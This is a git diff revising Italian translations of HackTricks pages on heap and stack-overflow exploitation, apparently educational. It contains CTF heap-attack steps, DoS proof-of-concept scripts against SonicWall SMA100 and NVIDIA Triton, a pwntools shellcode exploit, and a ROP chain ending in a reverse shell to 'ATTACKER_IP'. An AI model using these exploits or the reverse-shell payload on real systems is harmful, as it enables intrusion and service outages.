chunk. Poi viene chiamata la funzione **merge** con chunk0 due volte, causando un use after free. -- Poi viene chiamata la funzione **`view`** con l'indice 2 (che è l'indice del chunk use after free), che farà leak di un indirizzo libc. -- Poiché il binario ha protezioni che permettono soltanto malloc di size maggiori di **`global_max_fast`** quindi non vengono usati fastbin, verrà usato un unsorted bin attack per sovrascrivere la variabile globale `global_max_fast`. -- Successivamente, è possibile chiamare la funzione edit con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk si userà l'indirizzo freed precedentemente compromesso (0x20) che **innescherà l'unsorted bin attack** sovrascrivendo `global_max_fast` con un valore molto grande, permettendo ora di creare chunk nelle fast bin. +- La funzione merge è vulnerabile perché se entrambi gli indici passati sono lo stesso, verrà eseguito un realloc su di esso e poi freed ma verrà restituito un puntatore a quella regione freed che può essere riutilizzata. +- Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà mergiato con se stesso e chunk1 per evitare la consolidazione con il top chunk. Poi la funzione merge viene chiamata con chunk0 due volte causando un use after free. +- Poi, la funzione **`view`** viene chiamata con l'indice 2 (che è l'indice del chunk use after free), il che farà leakare un indirizzo libc. +- Poiché il binario ha protezioni che permettono solo malloc di size maggiori di **`global_max_fast`** quindi non vengono usati i fastbin, verrà usato un unsorted bin attack per sovrascrivere la variabile globale `global_max_fast`. +- Successivamente, è possibile chiamare la funzione edit con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk si userà l'indirizzo freed precedentemente compromesso (0x20) e si innescherà l'unsorted bin attack sovrascrivendo `global_max_fast` con un valore molto grande, permettendo ora di creare chunk nei fast bin. - Ora viene eseguito un **fast bin attack**: -- Prima di tutto si scopre che è possibile lavorare con fast chunk di size 200 nella posizione di **`__free_hook`**: +- Prima di tutto si scopre che è possibile lavorare con fast chunk di size 200 nella posizione di `__free_hook`: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +115,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Se riusciamo a ottenere un fast chunk di size 0x200 in questa location, sarà possibile sovrascrivere un function pointer che verrà eseguito. -- Per questo, viene creato un nuovo chunk di size `0xfc` e la funzione merged viene chiamata con quel puntatore due volte; in questo modo otteniamo un puntatore a un chunk freed di size `0xfc*2 = 0x1f8` nella fast bin. -- Poi viene chiamata la funzione edit su questo chunk per modificare l'indirizzo **`fd`** di questa fast bin per puntare al precedente function **`__free_hook`**. -- Successivamente, viene creato un chunk di size `0x1f8` per recuperare dalla fast bin il chunk inutile precedente, quindi un altro chunk di size `0x1f8` viene creato per ottenere un fast bin chunk in **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. -- Infine un chunk contenente la stringa `/bin/sh\x00` viene freed chiamando la funzione delete, innescando la **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. +- Se riusciamo a ottenere un fast chunk di size 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito. +- Per questo, viene creato un nuovo chunk di size `0xfc` e la funzione merge viene chiamata con quel puntatore due volte; in questo modo otteniamo un puntatore a un chunk freed di size `0xfc*2 = 0x1f8` nel fast bin. +- Poi, la funzione edit viene chiamata su questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo da puntare al precedente `__free_hook`. +- Poi, viene creato un chunk di size `0x1f8` per recuperare dal fast bin il chunk inutile precedente e successivamente un altro chunk di size `0x1f8` per ottenere un fast bin chunk in `__free_hook` che viene sovrascritto con l'indirizzo della funzione **`system`**. +- Infine viene freed un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione delete, innescando `__free_hook` che punta a system con `/bin/sh\x00` come parametro. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere un libc infoleak e poi eseguire un fast bin attack per sovrascrivere malloc hook con un one gadget address +- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere un libc infoleak e poi eseguire un fast bin attack per sovrascrivere malloc hook con un one gadget. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - Possiamo allocare solo chunk di size maggiore di `0x100`. -- Sovrascrivere `global_max_fast` usando un Unsorted Bin attack (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma in pratica dobbiamo modificare 16 bit). -- Fast Bin attack per modificare un array globale di chunk. Questo fornisce un primitivo di read/write arbitrario, che permette di modificare la GOT e far puntare alcune funzioni a `system`. +- Sovrascrivere `global_max_fast` usando un Unsorted Bin attack (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit). +- Fast Bin attack per modificare un array globale di chunk. Questo fornisce un primitive di arbitrary read/write, che permette di modificare la GOT e puntare qualche funzione a `system`. -## References +## Riferimenti - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 5f5b5a63b..1069f49a1 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Cos'è uno Stack Overflow +## Che cos'è uno Stack Overflow -Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno le aree di memoria adiacenti**, causando la corruzione di dati validi, l'interruzione del flusso di controllo e, potenzialmente, l'esecuzione di codice malevolo. Questo problema si presenta spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sull'input. +Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascrivono aree di memoria adiacenti**, causando la corruzione di dati validi, la deviazione del controllo di esecuzione e potenzialmente l'esecuzione di codice malevolo. Questo problema spesso nasce dall'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input. -Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Di conseguenza, un attaccante potrà sovrascriverli e **controllare il flusso di esecuzione del programma**. +Il problema principale di questa sovrascrittura è che il **saved instruction pointer (EIP/RIP)** e il **saved base pointer (EBP/RBP)** per tornare alla funzione precedente sono **stored on the stack**. Pertanto, un attaccante potrà sovrascriverli e **controllare il flusso di esecuzione del programma**. -La vulnerabilità di solito sorge perché una funzione **copia nello stack più byte di quanti ne siano stati allocati per essa**, riuscendo così a sovrascrivere altre parti dello stack. +La vulnerabilità solitamente nasce perché una funzione **copia nello stack più byte di quanti ne siano stati allocati per essa**, riuscendo così a sovrascrivere altre parti dello stack. -Alcune funzioni comunemente vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read`** & **`memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata. +Alcune funzioni comunemente vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read`** e **`memcpy`** che richiedono un **length argument** possono essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata. -Ad esempio, le seguenti funzioni potrebbero essere vulnerabili: +Per esempio, le seguenti funzioni potrebbero essere vulnerabili: ```c void vulnerable() { char buffer[128]; @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Trovare gli offset di Stack Overflows +### Trovare gli offset degli Stack Overflows -Il modo più comune per individuare stack overflows è fornire un input molto grande di `A` (es. `python3 -c 'print("A"*1000)'`) e attendersi un `Segmentation Fault` che indica che si è tentato di accedere all'**indirizzo `0x41414141`**. +Il modo più comune per trovare stack overflow è fornire un input molto grande di `A`s (es. `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che è stato tentato l'accesso all'**indirizzo `0x41414141`**. -Inoltre, una volta trovata una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario per poter **sovrascrivere l'indirizzo di ritorno**; a questo scopo si usa di solito una **De Bruijn sequence.** Per un alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_, essa è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua. +Inoltre, una volta scoperto che esiste una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario fino a poter **overwrite the return address**, per questo si usa solitamente una **De Bruijn sequence.** La quale, per un alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_, è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua. -In questo modo, invece di dover determinare manualmente quale offset sia necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che l'hanno sovrascritta. +In questo modo, invece di dover determinare a mano quale offset è necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverla. È possibile usare **pwntools** per questo: ```python @@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Sfruttare Stack Overflows +## Exploiting Stack Overflows -During an overflow (supposing the overflow size if big enough) you will be able to **sovrascrivere** i valori delle variabili locali nello stack fino a raggiungere i saved **EBP/RBP and EIP/RIP (or even more)**.\ -Il modo più comune per sfruttare questo tipo di vulnerabilità è **modificare l'address di ritorno** in modo che quando la funzione termina il **flusso di controllo venga reindirizzato dove l'utente ha specificato** in questo puntatore. +Durante un overflow (supponendo che la dimensione dell'overflow sia sufficientemente grande) sarai in grado di **overwrite** i valori delle variabili locali nello stack fino a raggiungere il saved **EBP/RBP and EIP/RIP (or even more)**.\ +Il modo più comune di abusare di questo tipo di vulnerabilità è **modifying the return address** così quando la funzione termina il **control flow will be redirected wherever the user specified** in questo puntatore. -Tuttavia, in altri scenari potrebbe essere sufficiente semplicemente **sovrascrivere alcuni valori di variabili nello stack** per l'exploitation (come in semplici challenge CTF). +Tuttavia, in altri scenari potrebbe bastare semplicemente **overwriting some variables values in the stack** per l'exploitazione (come in facili sfide CTF). ### Ret2win -In questo tipo di challenge CTF, c'è una **function** **all'interno** del binary che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste challenge devi solo trovare l'**offset per sovrascrivere l'address di ritorno** e **trovare l'indirizzo della function** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) è disabilitato) così quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata: +In questo tipo di CTF challenges, esiste una **function** **inside** il binary che è **never called** e che **you need to call in order to win**. Per queste sfide devi solo trovare l'**offset to overwrite the return address** e **find the address of the function** da chiamare (solitamente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sarebbe disabilitato) così quando la vulnerable function returns, la hidden function verrà chiamata: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -In questo scenario l'attacker può posizionare uno shellcode nello stack e sfruttare l'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario: +In questo scenario l'attacker potrebbe piazzare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. L'exploitation tipicamente sostituisce il puntatore SEH con un POP POP RET gadget e utilizza il campo nSEH di 4 byte per un salto breve che riporta nella large buffer dove risiede lo shellcode. Un pattern comune è un short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare di centinaia di byte indietro all'inizio del payload. +Su 32-bit Windows, un overflow può overwrite la Structured Exception Handler (SEH) chain invece del saved return address. L'exploitation tipicamente sostituisce il SEH pointer con un gadget POP POP RET e usa il campo nSEH di 4 byte per un short jump che pivot indietro nel large buffer dove risiede lo shellcode. Un pattern comune è uno short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare centinaia di byte indietro verso l'inizio del payload. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che termineranno eseguendo comandi arbitrari abusando delle istruzioni esistenti nel binary: +Questa tecnica è il framework fondamentale per bypassare la principale protezione alla tecnica precedente: **No executable stack (NX)**. E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che porteranno all'esecuzione di comandi arbitrari sfruttando istruzioni esistenti nel binary: {{#ref}} @@ -93,16 +93,16 @@ This technique is the fundamental framework to bypass the main protection to the ## Heap Overflows -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +Un overflow non si trova sempre nello stack, potrebbe anche essere nell'**heap** per esempio: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Tipi di protezioni +## Types of protections -Esistono diverse protezioni che cercano di impedire lo sfruttamento delle vulnerabilità, consultale in: +Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, consultarle in: {{#ref}} @@ -111,8 +111,8 @@ Esistono diverse protezioni che cercano di impedire lo sfruttamento delle vulner ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Una buona dimostrazione del perché **`sscanf` should never be trusted for parsing untrusted input** è apparsa nel 2025 nell'appliance SonicWall SMA100 SSL-VPN. -La routine vulnerabile all'interno di `/usr/src/EasyAccess/bin/httpd` tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con `/__api__/`: +Una buona dimostrazione del perché **`sscanf` non dovrebbe mai essere considerato affidabile per l'analisi di input non attendibili** apparve nel 2025 nell'appliance SSL-VPN di SonicWall SMA100. +La routine vulnerabile dentro `/usr/src/EasyAccess/bin/httpd` tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; @@ -120,24 +120,24 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. La prima conversione (`%2s`) memorizza in modo sicuro **due** byte in `version` (es. `"v1"`). -2. La seconda conversione (`%s`) **non ha un specificatore di lunghezza**, quindi `sscanf` continuerà a copiare **fino al primo NUL byte**. -3. Poiché `endpoint` si trova sullo **stack** ed è lungo **0x800 byte**, fornire un path più lungo di 0x800 byte corrompe tutto ciò che si trova dopo il buffer ‑ inclusi lo **stack canary** e il **saved return address**. +2. La seconda conversione (`%s`) **non ha uno specificatore di lunghezza**, quindi `sscanf` continuerà a copiare **fino al primo byte NUL**. +3. Poiché `endpoint` è collocato sul **stack** ed è **0x800 bytes long**, fornire un path più lungo di 0x800 bytes corrompe tutto ciò che si trova dopo il buffer ‑ inclusi il **stack canary** e il **saved return address**. -Una single-line proof-of-concept è sufficiente per causare il crash **prima dell'autenticazione**: +Una proof-of-concept su una sola riga è sufficiente per scatenare il crash **prima dell'autenticazione**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Anche se gli stack canaries interrompono il processo, an attacker ottiene comunque una **Denial-of-Service** primitive (e, con additional information leaks, possibly code-execution). La lezione è semplice: +Anche se stack canaries terminano il processo, un attacker ottiene comunque un primitivo **Denial-of-Service** (e, con ulteriori information leaks, eventualmente code-execution). La lezione è semplice: -* Fornire sempre una **larghezza massima del campo** (es. `%511s`). +* Fornire sempre una **larghezza massima del campo** (e.g. `%511s`). * Preferire alternative più sicure come `snprintf`/`strncpy_s`. ### Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA Triton Inference Server (≤ v25.06) conteneva multiple **stack-based overflows** raggiungibili tramite la sua HTTP API. +Il Triton Inference Server di NVIDIA (≤ v25.06) conteneva multiple **stack-based overflows** raggiungibili tramite la sua HTTP API. Il pattern vulnerabile appariva ripetutamente in `http_server.cc` e `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); @@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) restituisce il **numero di internal buffer segments** che compongono l'attuale corpo della richiesta HTTP. +1. `evbuffer_peek` (libevent) restituisce il **numero di segmenti di buffer interni** che compongono l'attuale corpo della richiesta HTTP. 2. Ogni segmento provoca l'allocazione di un `evbuffer_iovec` da **16-byte** sul **stack** tramite `alloca()` – **senza alcun limite superiore**. -3. Abusando di **HTTP _chunked transfer-encoding_**, un client può forzare la richiesta a essere suddivisa in **centinaia di migliaia di 6-byte chunks** (`"1\r\nA\r\n"`). Questo fa sì che `n` cresca senza limiti fino all'esaurimento dello stack. +3. Abusando di **HTTP _chunked transfer-encoding_**, un client può costringere la richiesta a essere suddivisa in **centinaia di migliaia di chunk da 6-byte** (`"1\r\nA\r\n"`). Questo fa sì che `n` cresca senza limiti finché lo stack non viene esaurito. #### Proof-of-Concept (DoS) ```python @@ -176,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il **crash** del daemon in una build predefinita. +Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il **crash** del daemon su una build di default. #### Patch e mitigazione -La release 25.07 sostituisce l'allocazione non sicura sullo stack con una **heap-backed `std::vector`** e gestisce in modo elegante `std::bad_alloc`: +La release 25.07 sostituisce l'allocazione non sicura sullo stack con un **`std::vector` allocato sull'heap** e gestisce in modo elegante `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -190,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Lezioni apprese: -* Non chiamare mai `alloca()` con dimensioni controllate dall'attaccante. -* Le richieste chunked possono cambiare drasticamente la forma dei buffer lato server. -* Valida / limita qualsiasi valore derivato dall'input del client *prima* di usarlo nelle allocazioni di memoria. +* Non chiamare mai `alloca()` con attacker-controlled sizes. +* Chunked requests possono drasticamente cambiare la forma dei server-side buffers. +* Valida / limita qualsiasi valore derivato da client input *prima* di usarlo in memory allocations. ## Riferimenti * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index afc478355..6d00ea1c0 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Informazioni di base -**Stack shellcode** è una tecnica usata nella **binary exploitation** in cui un attacker scrive shellcode nello stack di un vulnerable program e poi modifica il **Instruction Pointer (IP)** o il **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, facendolo eseguire. È un metodo classico per ottenere accesso non autorizzato o eseguire comandi arbitrari su un target system. Di seguito una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con **pwntools**. +**Stack shellcode** è una tecnica usata in **binary exploitation** in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o il **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico usato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con **pwntools**. -### Esempio in C: A Vulnerable Program +### Esempio in C: un programma vulnerabile -Cominciamo con un semplice esempio di vulnerable C program: +Iniziamo con un semplice esempio di un programma C vulnerabile: ```c #include #include @@ -33,11 +33,11 @@ Per compilare questo programma disabilitando varie protezioni (per simulare un a gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Disabilita la protezione dello stack. -- `-z execstack`: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata sullo stack. -- `-no-pie`: Disabilita Position Independent Executable (PIE), rendendo più semplice prevedere l'indirizzo di memoria in cui si troverà la nostra shellcode. -- `-m32`: Compila il programma come eseguibile a 32 bit, spesso usato per semplicità nello sviluppo di exploit. +- `-z execstack`: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata nello stack. +- `-no-pie`: Disabilita Position Independent Executable, rendendo più facile prevedere l'indirizzo di memoria dove il nostro shellcode si troverà. +- `-m32`: Compila il programma come eseguibile a 32-bit, spesso usato per semplicità nello sviluppo di exploit. -### Python Exploit usando Pwntools +### Exploit Python usando pwntools Ecco come potresti scrivere un exploit in Python usando **pwntools** per eseguire un attacco **ret2shellcode**: ```python @@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Questo script costruisce un payload composto da una **NOP slide**, la **shellcode**, e poi sovrascrive la **EIP** con l'indirizzo che punta alla NOP slide, garantendo l'esecuzione della shellcode. +Questo script costruisce un payload composto da una **NOP slide**, il **shellcode**, e poi sovrascrive la **EIP** con l'indirizzo che punta alla NOP slide, assicurando che il shellcode venga eseguito. -La **NOP slide** (`asm('nop')`) viene usata per aumentare la probabilità che l'esecuzione "slide" nella nostra shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di `p32()` all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide. +La **NOP slide** (`asm('nop')`) è usata per aumentare la probabilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di `p32()` all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain. +Su Windows moderni lo stack è non eseguibile (DEP/NX). Un metodo comune per eseguire comunque shellcode residenti nello stack dopo un stack BOF è costruire una ROP chain a 64-bit che chiama VirtualAlloc (o VirtualProtect) dalla Import Address Table (IAT) del modulo per rendere una regione dello stack eseguibile e poi ritornare al shellcode aggiunto subito dopo la chain. -Punti chiave (Win64 calling convention): +Key points (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → scegli un indirizzo nello stack corrente (e.g., RSP) così la regione RWX appena allocata si sovrappone al tuo payload -- RDX = dwSize → abbastanza grande per la tua chain + shellcode (e.g., 0x1000) +- RCX = lpAddress → scegli un indirizzo nello stack corrente (es., RSP) così che la regione RWX appena allocata si sovrapponga al tuo payload +- RDX = dwSize → abbastanza grande per la tua chain + shellcode (es., 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. -Strategia minima: +Minimal strategy: 1) Leak a module base (e.g., via a format-string, object pointer, etc.) per calcolare gli indirizzi assoluti di gadget e IAT sotto ASLR. -2) Trova gadgets per caricare RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadgets aritmetici per sintetizzare costanti (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +2) Trova gadget per caricare RCX/RDX/R8/R9 (sequenze basate su pop o mov/xor) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadget aritmetici per sintetizzare le costanti (es., imposta r8=0 e aggiungi ripetutamente r9=0x40 quaranta volte per arrivare a 0x1000). 3) Posiziona lo stage-2 shellcode immediatamente dopo la chain. -Esempio layout (concettuale): +Example layout (conceptual): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Con un set di gadget limitato, puoi costruire i valori dei registri indirettamente, ad esempio: +Con un set di gadget limitato, puoi costruire valori di registri indirettamente, per esempio: - mov r9, rbx; mov r8, 0; add rsp, 8; ret → imposta r9 con il valore di rbx, azzera r8 e compensa lo stack con un junk qword. - xor rbx, rsp; ret → inizializza rbx con l'attuale stack pointer. - push rbx; pop rax; mov rcx, rax; ret → sposta un valore derivato da RSP in RCX. -Esempio Pwntools (data una base nota e gadget noti): +Esempio Pwntools (data una base nota e gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -133,29 +133,29 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Suggerimenti: -- VirtualProtect funziona in modo simile se è preferibile rendere un buffer esistente RX; l'ordine dei parametri è diverso. -- Se lo spazio nello stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack. -- Considera sempre i gadget che modificano RSP (es., add rsp, 8; ret) inserendo qword di riempimento. +- VirtualProtect funziona in modo simile se rendere un buffer esistente RX è preferibile; l'ordine dei parametri è diverso. +- Se lo spazio sullo stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack. +- Considerare sempre i gadget che aggiustano RSP (e.g., add rsp, 8; ret) inserendo junk qwords. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni; altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere disabilitati anch'essi, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protezione **stack** impedirebbe l'esecuzione dello shellcode nello stack perché quella regione non sarebbe eseguibile. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra esecuzioni, altrimenti l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere inoltre disabilitati, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protezione dello **stack** impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarebbe eseguibile. -## Altri esempi e riferimenti +## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR con stack address leak, scrivi shellcode e fai jump ad esso +- 64bit, ASLR con stack address leak, scrivi shellcode e salta a esso - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR con stack leak, scrivi shellcode e fai jump ad esso +- 32 bit, ASLR con stack leak, scrivi shellcode e salta a esso - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR con stack leak, confronto per prevenire la chiamata a exit(), sovrascrivi una variabile con un valore, scrivi shellcode e fai jump ad esso +- 32 bit, ASLR con stack leak, confronto per evitare la chiamata a exit(), sovrascrivere una variabile con un valore, scrivere shellcode e saltare a esso - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, no ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack +- arm64, no ASLR, ROP gadget per rendere lo stack eseguibile e saltare al shellcode nello stack -## Riferimenti +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc 